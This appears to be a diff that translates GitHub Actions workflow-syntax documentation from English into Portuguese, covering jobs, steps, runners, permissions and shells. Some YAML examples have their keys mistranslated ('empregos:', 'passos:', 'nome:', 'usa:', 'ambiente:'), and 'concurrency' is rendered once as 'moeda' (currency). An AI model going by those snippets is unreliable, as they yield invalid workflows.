-Create an identifier for your job by giving it a unique name. The key `job_id` is a string and its value is a map of the job's configuration data. You must replace `<job_id>` with a string that is unique to the `jobs` object. The `<job_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+Crie um identificador para sua tarefa conferindo-lhe um nome único. A chave `job_id` é uma string, e seu valor é um mapa dos dados de configuração do trabalho. Você deve substituir `<job_id>` por uma string exclusiva para o objeto `jobs`. `<job_id>` deve começar por uma letra ou `_`, além de conter somente caracteres alfanuméricos, `-` ou `_`.
 
-### Example
+### Exemplo
 
-In this example, two jobs have been created, and their `job_id` values are `my_first_job` and `my_second_job`.
+Neste exemplo, foram criados dois trabalhos e seus valores de `job_id` são `my_first_job` e `my_second_job`.
 
 ```yaml
 jobs:
@@ -434,13 +434,13 @@ jobs:
 
 ## `jobs.<job_id>.name`
 
-The name of the job displayed on {% data variables.product.prodname_dotcom %}.
+Nome do trabalho no {% data variables.product.prodname_dotcom %}.
 
 ## `jobs.<job_id>.needs`
 
-Identifies any jobs that must complete successfully before this job will run. It can be a string or array of strings. If a job fails, all jobs that need it are skipped unless the jobs use a conditional expression that causes the job to continue.
+Identifica todos os trabalhos a serem concluídos com êxito antes da execução deste trabalho. Esse código pode ser uma string ou array de strings. Se houver falha em um trabalho, todos os trabalhos que dependem dele serão ignorados, a menos que os trabalhos usem uma expressão condicional que faça o trabalho continuar.
 
-### Example: Requiring dependent jobs to be successful
+### Exemplo: Exigindo que trabalhos dependentes sejam bem-sucedidos
 
 ```yaml
 jobs:
@@ -451,15 +451,15 @@ jobs:
     needs: [job1, job2]
 ```
 
-In this example, `job1` must complete successfully before `job2` begins, and `job3` waits for both `job1` and `job2` to complete.
+Neste exemplo, `job1` deve ser concluído com êxito antes do início de `job2`, e `job3` aguarda a conclusão de `job1` e `job2`.
 
-The jobs in this example run sequentially:
+Os trabalhos neste exemplo são executados sequencialmente:
 
 1. `job1`
 2. `job2`
 3. `job3`
 
-### Example: Not requiring dependent jobs to be successful
+### Exemplo: Não exigindo que os trabalhos dependentes sejam bem-sucedidos
 
 ```yaml
 jobs:
@@ -471,61 +471,61 @@ jobs:
     needs: [job1, job2]
 ```
 
-In this example, `job3` uses the `always()` conditional expression so that it always runs after `job1` and `job2` have completed, regardless of whether they were successful. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
+Neste exemplo, `job3` usa a expressão condicional `always()` para que ela sempre seja executada depois de `job1` e `job2` terem sido concluídos, independentemente de terem sido bem sucedidos. Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions#job-status-check-functions)".
 
 ## `jobs.<job_id>.runs-on`
 
-**Required**. The type of machine to run the job on. {% ifversion fpt or ghec %}The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner.{% endif %} You can provide `runs-on` as a single string or as an array of strings. If you specify an array of strings, your workflow will run on a self-hosted runner whose labels match all of the specified `runs-on` values, if available. If you would like to run your workflow on multiple machines, use [`jobs.<job_id>.strategy`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy).
+**Obrigatório**. O tipo de máquina na qual se executa o trabalho. {% ifversion fpt or ghec %}A máquina pode ser ou um executor hospedado em {% data variables.product.prodname_dotcom %} ou um executor auto-hospedado.{% endif %} Você pode fornecer `runs-on` como uma única string ou como uma matriz de strings. Se você especificar uma matriz de strings, o seu fluxo de trabalho será executado em um executor auto-hospedado cujas etiquetas correspondam a todos os valores de `runs-on`, se disponível. Se você quiser executar seu fluxo de trabalho em várias máquinas, use [`jobs.<job_id>.strategy`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy).
 
 {% ifversion fpt or ghec or ghes %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-### {% data variables.product.prodname_dotcom %}-hosted runners
+### Runners hospedados no {% data variables.product.prodname_dotcom %}
 
-If you use a {% data variables.product.prodname_dotcom %}-hosted runner, each job runs in a fresh instance of a virtual environment specified by `runs-on`.
+Se você usar um executor hospedado no {% data variables.product.prodname_dotcom %}, cada trabalho será executado em uma nova instância de um ambiente virtual especificado por `runs-on`.
 
-Available {% data variables.product.prodname_dotcom %}-hosted runner types are:
+Os tipos de executor disponíveis para {% data variables.product.prodname_dotcom %} são:
 
 {% data reusables.github-actions.supported-github-runners %}
 
-#### Example
+#### Exemplo
 
 ```yaml
 runs-on: ubuntu-latest
 ```
 
-For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)."
+Para obter mais informações, consulte "[Ambientes virtuais para executores hospedados em {% data variables.product.prodname_dotcom %}](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)".
 {% endif %}
 
 {% ifversion fpt or ghec or ghes %}
-### Self-hosted runners
+### Executores auto-hospedados
 {% endif %}
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
 {% data reusables.github-actions.self-hosted-runner-labels-runs-on %}
 
-#### Example
+#### Exemplo
 
 ```yaml
 runs-on: [self-hosted, linux]
 ```
 
-For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)."
+Para obter mais informações, consulte "[Sobre executores auto-hospedados](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)" e "[Usar executores auto-hospedados em um fluxo de trabalho](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)."
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 ## `jobs.<job_id>.permissions`
 
-You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+Você pode modificar as permissões padrão concedidas ao `GITHUB_TOKEN`, adicionando ou removendo o acesso conforme necessário, para que você permita apenas o acesso mínimo necessário. Para obter mais informações, consulte "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)".
 
-By specifying the permission within a job definition, you can configure a different set of permissions for the `GITHUB_TOKEN` for each job, if required. Alternatively, you can specify the permissions for all jobs in the workflow. For information on defining permissions at the workflow level, see [`permissions`](#permissions).
+Ao especificar a permissão de uma definição de trabalho, você pode configurar um conjunto diferente de permissões para o `GITHUB_TOKEN` para cada trabalho, se necessário. Como alternativa, você pode especificar as permissões para todas as tarefas do fluxo de trabalho. Para informações sobre como definir permissões no nível do fluxo de trabalho, consulte [`permissões`](#permissions).
 
 {% data reusables.github-actions.github-token-available-permissions %}
 {% data reusables.github-actions.forked-write-permission %}
 
-### Example
+### Exemplo
 
-This example shows permissions being set for the `GITHUB_TOKEN` that will only apply to the job named `stale`. Write access is granted for the `issues` and `pull-requests` scopes. All other scopes will have no access.
+Este exemplo mostra as permissões que estão sendo definidas para o `GITHUB_TOKEN` que só se aplicará ao trabalho denominado `stale`. O acesso de gravação é concedido para os escopos dos `problemas` e `pull-requests`. Todos os outros escopos não terão acesso.
 
 ```yaml
 jobs:
@@ -544,18 +544,18 @@ jobs:
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 ## `jobs.<job_id>.environment`
 
-The environment that the job references. All environment protection rules must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+O ambiente ao qual o trabalho faz referência. Todas as regras de proteção do ambiente têm de ser aprovadas para que um trabalho que faça referência ao ambiente seja enviado a um executor. Para obter mais informações, consulte "[Usando ambientes para implantação](/actions/deployment/using-environments-for-deployment)".
 
-You can provide the environment as only the environment `name`, or as an environment object with the `name` and `url`. The URL maps to `environment_url` in the deployments API. For more information about the deployments API, see "[Deployments](/rest/reference/repos#deployments)."
+Você pode fornecer o ambiente apenas como o `nome` do ambiente, ou como um objeto de ambiente com o `nome` e `url`. A URL é mapeada com `environment_url` na API de implantações. Para obter mais informações sobre a API de implantações, consulte "[Implantações](/rest/reference/repos#deployments)".
 
-#### Example using a single environment name
+#### Exemplo de uso de um único nome de ambiente
 {% raw %}
 ```yaml
-environment: staging_environment
+ambiente: staging_environment
 ```
 {% endraw %}
 
-#### Example using environment name and URL
+#### Exemplo de uso de nome de ambiente e URL
 
 ```yaml
 environment:
@@ -563,9 +563,9 @@ environment:
   url: https://github.com
 ```
 
-The URL can be an expression and can use any context except for the [`secrets` context](/actions/learn-github-actions/contexts#contexts). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
+A URL pode ser uma expressão e pode usar qualquer contexto, exceto para o contexto [`segredos`](/actions/learn-github-actions/contexts#contexts). Para obter mais informações sobre expressões, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-### Example
+### Exemplo
 {% raw %}
 ```yaml
 environment:
@@ -580,26 +580,26 @@ environment:
 
 {% note %}
 
-**Note:** When concurrency is specified at the job level, order is not guaranteed for jobs or runs that queue within 5 minutes of each other.
+**Observação:** Quando a concorrência é especificada no nível do trabalho, não se garante a ordem para trabalhos ou execuções que são enfileiradas em 5 minutos uma da outra.
 
 {% endnote %}
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the `secrets` context. For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
+A moeda garante que apenas um único trabalho ou fluxo de trabalho que usa o mesmo grupo de concorrência seja executado de cada vez. Um grupo de concorrência pode ser qualquer string ou expressão. A expressão pode usar qualquer contexto, exceto para o contexto de `segredos`. Para obter mais informações sobre expressões, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-You can also specify `concurrency` at the workflow level. For more information, see [`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency).
+Você também pode especificar `concorrência` no nível do fluxo de trabalho. Para obter mais informações, consulte [`concorrência`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency).
 
 {% data reusables.actions.actions-group-concurrency %}
 
 {% endif %}
 ## `jobs.<job_id>.outputs`
 
-A `map` of outputs for a job. Job outputs are available to all downstream jobs that depend on this job. For more information on defining job dependencies, see [`jobs.<job_id>.needs`](#jobsjob_idneeds).
+Um `mapa` de saídas para um trabalho. As saídas de trabalho estão disponíveis para todos os trabalhos downstream que dependem deste trabalho. Para obter mais informações sobre a definição de dependências de trabalhos, consulte [`jobs.<job_id>.needs`](#jobsjob_idneeds).
 
-Job outputs are strings, and job outputs containing expressions are evaluated on the runner at the end of each job. Outputs containing secrets are redacted on the runner and not sent to {% data variables.product.prodname_actions %}.
+As saídas de trabalho são strings e saídas de trabalho que contêm expressões são avaliadas no executor ao final de cada trabalho. As saídas que contêm segredos são eliminadas no executor e não são enviadas para {% data variables.product.prodname_actions %}.
 
-To use job outputs in a dependent job, you can use the `needs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#needs-context)."
+Para usar as saídas de trabalho em um trabalho dependente, você poderá usar o contexto `needs`. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts#needs-context)".
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -625,11 +625,11 @@ jobs:
 
 ## `jobs.<job_id>.env`
 
-A `map` of environment variables that are available to all steps in the job. You can also set environment variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
+Um `map` (mapa) das variáveis de ambiente que estão disponíveis para todos as etapas do trabalho. Também é possível definir variáveis de ambiente para todo o fluxo de trabalho ou uma etapa individual. Para obter mais informações, consulte [`env`](#env) e [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
 
 {% data reusables.repositories.actions-env-var-note %}
 
-### Example
+### Exemplo
 
 ```yaml
 jobs:
@@ -640,19 +640,19 @@ jobs:
 
 ## `jobs.<job_id>.defaults`
 
-A `map` of default settings that will apply to all steps in the job. You can also set default settings for the entire workflow. For more information, see [`defaults`](#defaults).
+Um `mapa` com as configurações- padrão que serão aplicadas a todas as etapas do trabalho. Você também pode definir as configurações-padrão para todo o fluxo de trabalho. Para obter mais informações, consulte [`padrão`](#defaults).
 
 {% data reusables.github-actions.defaults-override %}
 
 ## `jobs.<job_id>.defaults.run`
 
-Provide default `shell` and `working-directory` to all `run` steps in the job. Context and expression are not allowed in this section.
+Forneça o `shell` e `working-directory` para todas as etapas do trabalho `executar`. Não são permitidos contexto e expressão nesta seção.
 
-You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a job. You can also set default settings for `run` for the entire workflow. For more information, see [`jobs.defaults.run`](#defaultsrun). You cannot use contexts or expressions in this keyword.
+Você pode fornecer as opções-padrão de `shell` e `working-directory` para todas as etapas de [`execução`](#jobsjob_idstepsrun) de um trabalho. Você também pode definir as configurações-padrão para `execução` para todo o fluxo de trabalho. Para obter mais informações, consulte [`jobs.defaults.run`](#defaultsrun). Você não pode usar contextos ou expressões nesta palavra-chave.
 
 {% data reusables.github-actions.defaults-override %}
 
-### Example
+### Exemplo
 
 ```yaml
 jobs:
@@ -666,17 +666,17 @@ jobs:
 
 ## `jobs.<job_id>.if`
 
-You can use the `if` conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional.
+Você pode usar a condicional `if` (se) para evitar que um trabalho seja executado a não ser que determinada condição seja atendida. Você pode usar qualquer contexto e expressão compatível para criar uma condicional.
 
-{% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+{% data reusables.github-actions.expression-syntax-if %} Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
 ## `jobs.<job_id>.steps`
 
-A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job.
+Trabalhos contêm sequências de tarefas chamadas `steps`. As etapas podem executar comandos, executar trabalhos de configuração ou executar ações no seu repositório, em repositórios públicos, ou ações publicadas em registros do Docker. Nem todas as etapas executam ações, mas todas as ações são executadas como etapas. Cada etapa é executada em seu próprio processo no ambiente do executor, tendo acesso ao espaço de trabalho e ao sistema de arquivos. Como as etapas são executadas em seus próprios processos, as alterações nas variáveis de ambiente não são preservadas entre as etapas. O {% data variables.product.prodname_dotcom %} fornece etapas integradas para configurar e concluir trabalhos.
 
-You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+Você pode executar quantas etapas quiser, desde que esteja dentro dos limites de uso do fluxo de trabalho. Para obter mais informações, consulte {% ifversion fpt or ghec or ghes %}"[Limites de uso e cobrança](/actions/reference/usage-limits-billing-and-administration)" para executores hospedados em {% data variables.product.prodname_dotcom %} e {% endif %}"[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" para limites de uso de executor auto-hospedado.{% elsif ghae %}."{% endif %}
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -702,17 +702,17 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].id`
 
-A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+Identificador exclusivo da etapa. Você pode usar `id` para fazer referência à etapa em contextos. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts)".
 
 ## `jobs.<job_id>.steps[*].if`
 
-You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.
+Você pode usar a condicional `if` (se) para evitar que uma etapa trabalho seja executada a não ser que determinada condição seja atendida. Você pode usar qualquer contexto e expressão compatível para criar uma condicional.
 
-{% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+{% data reusables.github-actions.expression-syntax-if %} Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-### Example: Using contexts
+### Exemplo: Usando contextos
 
- This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
+ Essa etapa somente é executada quando o tipo de evento é uma `pull_request` e a ação do evento é `unassigned` (não atribuída).
 
  ```yaml
 steps:
@@ -721,9 +721,9 @@ steps:
     run: echo This event is a pull request that had an assignee removed.
 ```
 
-### Example: Using status check functions
+### Exemplo: Usando funções de verificação de status
 
-The `my backup step` only runs when the previous step of a job fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
+A função `my backup step` (minha etapa de backup) somente é executada quando houver falha em uma etapa anterior do trabalho. Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions#job-status-check-functions)".
 
 ```yaml
 steps:
@@ -736,22 +736,22 @@ steps:
 
 ## `jobs.<job_id>.steps[*].name`
 
-A name for your step to display on {% data variables.product.prodname_dotcom %}.
+Nome da etapa no {% data variables.product.prodname_dotcom %}.
 
 ## `jobs.<job_id>.steps[*].uses`
 
-Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+Seleciona uma ação para executar como parte de uma etapa no trabalho. A ação é uma unidade reutilizável de código. Você pode usar uma ação definida no mesmo repositório que o fluxo de trabalho, um repositório público ou em uma [imagem publicada de contêiner Docker](https://hub.docker.com/).
 
-We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
-- Using the commit SHA of a released action version is the safest for stability and security.
-- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
-- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
+É altamente recomendável incluir a versão da ação que você está usando ao especificar um número de tag Docker, SHA ou ref do Git. Se você não especificar uma versão, ela poderá interromper seus fluxos de trabalho ou causar um comportamento inesperado quando o proprietário da ação publicar uma atualização.
+- Usar o commit SHA de uma versão de ação lançada é a maneira mais garantida de obter estabilidade e segurança.
+- Usar a versão principal da ação permite receber correções importantes e patches de segurança sem perder a compatibilidade. Fazer isso também garante o funcionamento contínuo do fluxo de trabalho.
+- Usar o branch-padrão de uma ação pode ser conveniente, mas se alguém lançar uma nova versão principal com uma mudança significativa, seu fluxo de trabalho poderá ter problemas.
 
-Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
+Algumas ações requerem entradas que devem ser definidas com a palavra-chave [`with`](#jobsjob_idstepswith) (com). Revise o arquivo README da ação para determinar as entradas obrigatórias.
 
-Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on).
+Ações são arquivos JavaScript ou contêineres Docker. Se a ação em uso for um contêiner do Docker, você deverá executar o trabalho em um ambiente do Linux. Para obter mais detalhes, consulte [`runs-on`](#jobsjob_idruns-on).
 
-### Example: Using versioned actions
+### Exemplo: Usando ações de versão
 
 ```yaml
 steps:
@@ -765,11 +765,11 @@ steps:
   - uses: actions/checkout@main
 ```
 
-### Example: Using a public action
+### Exemplo: Usando uma ação pública
 
 `{owner}/{repo}@{ref}`
 
-You can specify a branch, ref, or SHA in a public {% data variables.product.prodname_dotcom %} repository.
+É possível especificar um branch, ref, ou SHA em um repositório público de {% data variables.product.prodname_dotcom %}.
 
 ```yaml
 jobs:
@@ -783,11 +783,11 @@ jobs:
         uses: actions/aws@v2.0.1
 ```
 
-### Example: Using a public action in a subdirectory
+### Exemplo: Usando uma ação pública em um subdiretório
 
 `{owner}/{repo}/{path}@{ref}`
 
-A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA.
+Subdiretório em um repositório público do {% data variables.product.prodname_dotcom %} em um branch, ref ou SHA específico.
 
 ```yaml
 jobs:
@@ -797,11 +797,11 @@ jobs:
         uses: actions/aws/ec2@main
 ```
 
-### Example: Using an action in the same repository as the workflow
+### Exemplo: Usando uma ação no mesmo repositório que o fluxo de trabalho
 
 `./path/to/dir`
 
-The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action.
+Caminho para o diretório que contém a ação no repositório do seu fluxo de trabalho. Você deve reservar seu repositório antes de usar a ação.
 
 ```yaml
 jobs:
@@ -813,54 +813,54 @@ jobs:
         uses: ./.github/actions/my-action
 ```
 
-### Example: Using a Docker Hub action
+### Exemplo: Usando uma ação do Docker Hub
 
 `docker://{image}:{tag}`
 
-A Docker image published on [Docker Hub](https://hub.docker.com/).
+Imagem Docker publicada no [Docker Hub](https://hub.docker.com/).
 
 ```yaml
-jobs:
+empregos:
   my_first_job:
-    steps:
-      - name: My first step
-        uses: docker://alpine:3.8
+    passos:
+      - nome: Meu primeiro passo
+        usa: docker://alpine:3.8
 ```
 
 {% ifversion fpt or ghec %}
-#### Example: Using the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}
+#### Exemplo: Usando o {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}
 
 `docker://{host}/{image}:{tag}`
 
-A Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}.
+Uma imagem Docker em {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}.
 
 ```yaml
 jobs:
-  my_first_job:
+  meu_primeiro_trabalho:
     steps:
-      - name: My first step
+      - name: minha primeira etapa
         uses: docker://ghcr.io/OWNER/IMAGE_NAME
 ```
 {% endif %}
-#### Example: Using a Docker public registry action
+#### Exemplo: Usando uma ação do registro público do Docker
 
 `docker://{host}/{image}:{tag}`
 
-A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`.
+Imagem Docker em um registro público. Este exemplo usa o Registro de Contêiner do Google em `gcr.io`.
 
 ```yaml
 jobs:
-  my_first_job:
+  meu_primeiro_trabalho:
     steps:
-      - name: My first step
+      - name: minha primeira etapa
         uses: docker://gcr.io/cloud-builders/gradle
 ```
 
-### Example: Using an action inside a different private repository than the workflow
+### Exemplo: Usando uma ação dentro de um repositório privado diferente do fluxo de trabalho
 
-Your workflow must checkout the private repository and reference the action locally. Generate a personal access token and add the token as an encrypted secret. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Seu fluxo de trabalho deve fazer checkout no repositório privado e referenciar a ação localmente. Gere um token de acesso pessoal e adicione o token como um segredo criptografado. Para obter mais informações, consulte "[Criar um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)" e "[Segredos criptografados](/actions/reference/encrypted-secrets)".
 
-Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret.
+Substitua `PERSONAL_ACCESS_TOKEN` no exemplo pelo nome do seu segredo.
 
 {% raw %}
 ```yaml
@@ -881,20 +881,20 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].run`
 
-Runs command-line programs using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command.
+Executa programas de linha de comando usando o shell do sistema operacional. Se você não informar um `name`, o nome da etapa será configurado por padrão como o texto indicado no comando `run`.
 
-Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
+Por padrão, os comandos run usam shells de não login. Você pode escolher um shell diferente e personalizar o shell usado para executar comandos. Para obter mais informações, consulte [`trabalhos.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
 
-Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example:
+Cada palavra-chave `run` representa um novo processo e shell no ambiente do executor. Quando você fornece comandos de várias linhas, cada linha será executada no mesmo shell. Por exemplo:
 
-* A single-line command:
+* Um comando de linha única:
 
   ```yaml
   - name: Install Dependencies
     run: npm install
   ```
 
-* A multi-line command:
+* Um comando de várias linhas:
 
   ```yaml
   - name: Clean install dependencies and build
@@ -903,7 +903,7 @@ Each `run` keyword represents a new process and shell in the runner environment.
       npm run build
   ```
 
-Using the `working-directory` keyword, you can specify the working directory of where to run the command.
+Com a palavra-chave `working-directory` (diretório de trabalho), é possível especificar o diretório de trabalho de onde o comando será executado.
 
 ```yaml
 - name: Clean temp directory
@@ -913,19 +913,19 @@ Using the `working-directory` keyword, you can specify the working directory of
 
 ## `jobs.<job_id>.steps[*].shell`
 
-You can override the default shell settings in the runner's operating system using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword.
+Você pode anular as configurações padrão de shell no sistema operacional do executor usando a palavra-chave `shell`. É possível usar palavras-chave integradas a `shell` ou definir um conjunto personalizado de opções de shell. O comando do shell que é executado internamente executa um arquivo temporário que contém os comandos especificados na palavra-chave `executar`.
 
-| Supported platform | `shell` parameter | Description | Command run internally |
-|--------------------|-------------------|-------------|------------------------|
-| All | `bash` | The default shell on non-Windows platforms with a fallback to `sh`. When specifying a bash shell on Windows, the bash shell included with Git for Windows is used. | `bash --noprofile --norc -eo pipefail {0}` |
-| All | `pwsh` | The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `pwsh -command ". '{0}'"` |
-| All | `python` | Executes the python command. | `python {0}` |
-| Linux / macOS | `sh` | The fallback behavior for non-Windows platforms if no shell is provided and `bash` is not found in the path. | `sh -e {0}` |
-| Windows | `cmd` | {% data variables.product.prodname_dotcom %} appends the extension `.cmd` to your script name and substitutes for `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
-| Windows | `pwsh` | This is the default shell used on Windows. The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. If your self-hosted Windows runner does not have _PowerShell Core_ installed, then _PowerShell Desktop_ is used instead.| `pwsh -command ". '{0}'"`. |
-| Windows | `powershell` | The PowerShell Desktop. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `powershell -command ". '{0}'"`. |
+| Plataforma compatível | Parâmetro `shell` | Descrição                                                                                                                                                                                                                                                                  | Comando executado internamente                  |
+| --------------------- | ----------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- |
+| Todas                 | `bash`            | O shell padrão em plataformas que não sejam Windows como uma alternativa para `sh`. Ao especificar um shell bash no Windows, é utilizado o shell bash incluído no Git para Windows.                                                                                        | `bash --noprofile --norc -eo pipefail {0}`      |
+| Todas                 | `pwsh`            | Powershell Core. O {% data variables.product.prodname_dotcom %} anexa a extensão `.ps1` ao nome do script.                                                                                                                                                                 | `pwsh -command ". '{0}'"`                       |
+| Todas                 | `python`          | Executa o comando python.                                                                                                                                                                                                                                                  | `python {0}`                                    |
+| Linux / macOS         | `sh`              | Comportamento alternativo para plataformas que não sejam Windows se nenhum shell for fornecido e o `bash` não for encontrado no caminho.                                                                                                                                   | `sh -e {0}`                                     |
+| Windows               | `cmd`             | O {% data variables.product.prodname_dotcom %} anexa a extensão `.cmd` ao nome do script e a substitui por `{0}`.                                                                                                                                                          | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
+| Windows               | `pwsh`            | Essa é a shell padrão usada no Windows. Powershell Core. O {% data variables.product.prodname_dotcom %} anexa a extensão `.ps1` ao nome do script. Se o seu executor do Windows auto-hospedado não tiver o _PowerShell Core_ instalado, será usado o _PowerShell Desktop_. | `pwsh -command ". '{0}'"`.                      |
+| Windows               | `powershell`      | O PowerShell Desktop. O {% data variables.product.prodname_dotcom %} anexa a extensão `.ps1` ao nome do script.                                                                                                                                                            | `powershell -command ". '{0}'"`.                |
 
-### Example: Running a script using bash
+### Exemplo: Executando um script usando o bash
 
 ```yaml
 steps:
@@ -934,7 +934,7 @@ steps:
     shell: bash
 ```
 
-### Example: Running a script using Windows `cmd`
+### Exemplo: Executando um script usando `cmd` do Windows
 
 ```yaml
 steps:
@@ -943,7 +943,7 @@ steps:
     shell: cmd
 ```
 
-### Example: Running a script using PowerShell Core
+### Exemplo: Executando um script usando PowerShell Core
 
 ```yaml
 steps:
@@ -952,7 +952,7 @@ steps:
     shell: pwsh
 ```
 
-### Example: Using PowerShell Desktop to run a script
+### Exemplo: Usar o PowerShell Desktop para executar um script
 
 ```yaml
 steps:
@@ -961,7 +961,7 @@ steps:
     shell: powershell
 ```
 
-### Example: Running a python script
+### Exemplo: Executando um script do Python
 
 ```yaml
 steps:
@@ -972,11 +972,11 @@ steps:
     shell: python
 ```
 
-### Custom shell
+### Shell personalizado
 
-You can set the `shell` value to a template string using `command […options] {0} [..more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`.
+Você pode usar o valor `shell` em um string modelo usando `command […options] {0} [..more_options]`. O {% data variables.product.prodname_dotcom %} interpreta a primeira palavra da string delimitada por um espaço em branco como o comando e insere o nome do arquivo para o script temporário em `{0}`.
 
-For example:
+Por exemplo:
 
 ```yaml
 steps:
@@ -986,39 +986,39 @@ steps:
     shell: perl {0}
 ```
 
-The command used, `perl` in this example, must be installed on the runner.
+O comando usado, `perl` neste exemplo, deve ser instalado no executor.
 
 {% ifversion ghae %}
